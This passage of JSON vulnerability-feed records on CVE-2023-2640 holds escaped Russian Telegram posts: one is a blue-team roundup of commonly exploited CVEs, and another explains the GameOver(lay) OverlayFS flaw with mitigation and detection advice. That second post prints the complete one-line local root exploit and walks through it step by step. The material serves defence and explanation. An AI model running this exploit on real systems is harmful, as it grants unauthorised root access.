\u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u0440\u0443\u0442\u043e\u0432\u044b\u0445 \u043f\u0440\u0430\u0432 (capabilities) \u0438 \u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0438\u043c\u0438\u0441\u044f \u0441\u043b\u043e\u044f\u043c\u0438.\n\u2013 \u041c\u043e\u043d\u0438\u0442\u043e\u0440\u044c\u0442\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 shell-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u0437\u043d\u0430\u0447\u0430\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.", "creation_timestamp": "2026-08-04T13:00:04.969789Z"}, {"uuid": "21bb4b83-c24e-4f97-836e-a51d235d0d9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260511", "content": "", "creation_timestamp": "2026-05-10T18:00:00.000000Z"}, {"uuid": "5ddecabc-79ed-493f-8e7f-9931868be717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/REDTalk_base/96", "content": "\u041f\u0440\u0438\u0432\u0435\u0442, \u0434\u0440\u0443\u0437\u044c\u044f! \ud83d\udc4b\n\n\u0425\u043e\u0447\u0443 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u043e\u0442 \u043a\u043e\u043b\u043b\u0435\u0433 \u0438\u0437 Kaspersky \u043e \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u0445 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2024 \u0433\u043e\u0434\u0430.\n\n\u0417\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438: \n\n1\ufe0f\u20e3SQL Injection\n\n2\ufe0f\u20e3Command Injection\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 \u043b\u0438\u0434\u0435\u0440\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438\u0441\u044c:\n\n1\ufe0f\u20e3Unrestricted Upload of File with Dangerous Type\n\n2\ufe0f\u20e3SQL Injection\n\n3\ufe0f\u20e3Path Traversal\n\n\u0418\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 CVE \u0434\u043b\u044f Windows:\n\n1\ufe0f\u20e3RCE: \n        CVE-2018-0802, CVE-2017-11882 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b ms office\n\n        CVE-2021-40444 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MSHTML\n\n2\ufe0f\u20e3LPE: CVE-2017-0199 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MS office \u0438 WordPad\n\n\u0414\u043b\u044f Linux:\n\n1\ufe0f\u20e3LPE:\n        CVE-2022-0847, CVE-2023-2640 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux\n\n        CVE-2021-4034 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 pkexec\n\n\ud83d\ude0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0434\u0435\u0441\u044c: vulnerability-exploit-report-q2-2024\n\n\u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0434\u0440\u0443\u0437\u044c\u044f, \u0431\u0435\u0437 \u043f\u0430\u043d\u0438\u043a\u0438 \ud83d\ude0a!  \u0413\u0440\u0430\u043c\u043e\u0442\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0441\u0435\u0442\u0438, \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447-\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u0438 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u044b\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0437\u0430\u0449\u0438\u0442\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043c \u0418\u0411, \u043f\u043e\u043c\u043e\u0433\u0443\u0442 \u0432\u0430\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0441\u043f\u043e\u043a\u043e\u0439\u0441\u0442\u0432\u0438\u0435 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c.\n\n\u0412\u0441\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u0438 \u0431\u0443\u0434\u044c\u0442\u0435 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438! \ud83d\udee1\n\n#blueteam", "creation_timestamp": "2026-08-04T13:00:18.545383Z"}, {"uuid": "471425f2-12e9-417e-8a89-4fc194046e23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/purpleshift/110", "content": "\u0427\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0440\u0430\u0437\u0434\u0430\u0447\u0438 \u0440\u0443\u0442\u043e\u0432\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a\u043e\u043c\u0443 \u043f\u043e\u043f\u0430\u043b\u043e, \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043a\u0435 Linux \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u044e\u0442\u0441\u044f \u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0435\u0434\u0438\u043d\u0438\u0446\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u00ab\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438\u00bb (capabilities). \u0422\u0430\u043a\u0438\u0435 root-\u043f\u0440\u0430\u0432\u0430 \u0434\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0444\u0430\u0439\u043b \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a root. \n\n\u041e\u0431\u044b\u0447\u043d\u043e capabilities \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u044b \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: \u0435\u0441\u043b\u0438 \u0438\u0445 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e\u043c \u0438\u043c\u0451\u043d (namespace) \u2013 \u0438 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c\u0441\u044f \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u044d\u0442\u043e\u0433\u043e namespace. \n\n\u041e\u0434\u043d\u0430\u043a\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 Game Over(lay) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 OverlayFS (CVE-2023-2640 \u0438 CVE-2023-32629), \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u044d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.  \u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432 \u0434\u0440\u0443\u0433\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u2013 \u0433\u0434\u0435 \u043f\u0440\u0430\u0432\u0430 \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u044b. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0442\u0430\u043a\u043e\u0439 \u0444\u0430\u0439\u043b \u0441 \u0440\u0443\u0442\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438.\n\n\u041a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0430\u0442\u0430\u043a\u0430: \n\nOverlayFS \u2013 \u044d\u0442\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u0430\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u0430\u0451\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043e\u0431\u0449\u0435\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u0432 \u0432\u0438\u0434\u0435 \u00ab\u0441\u043b\u043e\u0435\u0432\u00bb. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043c\u0435\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0445, \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u044f \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442. \n\n\u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0442\u0430\u043a:\n\u2013 \u043d\u0438\u0436\u043d\u0438\u0439 \u0441\u043b\u043e\u0439 (lowedir): \u043c\u043e\u043d\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f,\n\u2013 \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0441\u043b\u043e\u0439 (upperdir): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438,\n\u2013 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0441\u043b\u043e\u0439 (workdir): \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0447\u0438\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432,\n\u2013 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u044b\u0439 \u0441\u043b\u043e\u0439 (merged): \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u0430\u043a \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432 \u043d\u0438\u0436\u043d\u0435\u043c \u0441\u043b\u043e\u0435, \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041f\u0440\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u0430 \u0438\u043b\u0438 \u0435\u0433\u043e \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c Copy-on-Write (CoW), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0444\u0430\u0439\u043b \u043d\u0430 \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0441\u043b\u043e\u0439, \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u043d\u0430 \u043d\u0438\u0436\u043d\u0435\u043c. \n\n\u0412 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Ubuntu \u0441\u0438\u0441\u0442\u0435\u043c\u0430 OverlayFS \u043d\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044e \u043f\u0440\u0438 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u043e\u044f\u043c\u0438.  \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 root-\u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u0447\u043a\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434:  \nunshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\\\"bash\\\")'\";rm -rf l u w m\n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435 \u0432\u044b\u0448\u0435. \u0420\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u0430\u0442\u0430\u043a\u0443 \u043f\u043e \u0448\u0430\u0433\u0430\u043c:\n\nunshare -rm \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0438 \u043c\u043e\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u0438\u043c\u0451\u043d (namespace) \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0431\u0443\u0434\u0443\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0440\u0443\u0442\u043e\u0432\u044b\u0435 \u043f\u0440\u0430\u0432\u0430,\n\nmkdir \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 (l, u, w, m) \u0434\u043b\u044f \u00ab\u043b\u043e\u0432\u0443\u0448\u043a\u0438\u00bb OverlayFS.\n\ncp \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b python3 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 l, \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c (\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435). \u041f\u0443\u0442\u044c /u*/b*/p*3 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0443\u0442\u044c /usr/bin/python3.\n\nsetcap cap_setuid+eip \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0444\u0430\u0439\u043b\u0443 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u0440\u0443\u0442\u043e\u0432\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 (capabilities), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0435\u043c\u0443 \u0432\u044b\u0437\u043e\u0432 setuid(0).  \u042d\u0442\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e namespace.  \n\nmount \u0441\u043e\u0437\u0434\u0430\u0451\u0442 OverlayFS \u0441 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c\u0438 l (\u043d\u0438\u0436\u043d\u0438\u0439 \u0441\u043b\u043e\u0439), u (\u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0441\u043b\u043e\u0439), w (\u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0441\u043b\u043e\u0439) \u0438 m (\u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u044b\u0439 \u0441\u043b\u043e\u0439). \u0412 \u043d\u0438\u0436\u043d\u0435\u043c \u0441\u043b\u043e\u0435 \u043b\u0435\u0436\u0438\u0442 python3 (\u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438).\n\ntouch \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u0430 \u0447\u0435\u0440\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 m, \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u044f Copy-on-Write. \u0412 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Ubuntu \u044d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0444\u0430\u0439\u043b\u0430 python3 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 u, \u0433\u0434\u0435 \u0443 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 \u0431\u0443\u0434\u0443\u0442 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 (\u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 namespace).   \n\n\u0422\u0435\u043f\u0435\u0440\u044c \u0444\u0430\u0439\u043b python3  \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0447\u0435\u0440\u0435\u0437  os.setuid(0) \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0440\u0443\u0442\u043e\u0432\u044b\u0439 shell, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f os.system(\"bash\").\n \n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 rm \u0437\u0430\u0447\u0438\u0449\u0430\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 \u00ab\u043b\u043e\u0432\u0443\u0448\u043a\u0438\u00bb.\n\n\u041a\u0430\u043a \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0438:\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0432\u0435\u0440\u0441\u0438\u0438 \u044f\u0434\u0440\u0430 \u043e\u0442 v5.4 \u0434\u043e v6.3. \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043f\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c \u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u0437\u0434\u0435\u0441\u044c: CVE-2023-2640 \u0438 CVE-2023-32629.\n\n\u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f namespace \u0434\u043b\u044f \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439: \necho kernel.unprivileged_userns_clone=0 | sudo tee /etc/sysctl.d/99-disable-unpriv-userns.conf\n\n\u041a\u0430\u043a \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443:\n\n\u2013 \u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0439\u0442\u0435 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 unshare, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 namespace.\n\u2013 \u0412\u044b\u044f\u0432\u043b\u044f\u0439\u0442\u0435 shell-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0441 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u0440\u0443\u0442\u043e\u0432\u044b\u0445 \u043f\u0440\u0430\u0432 (capabilities) \u0438 \u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0438\u043c\u0438\u0441\u044f \u0441\u043b\u043e\u044f\u043c\u0438.\n\u2013 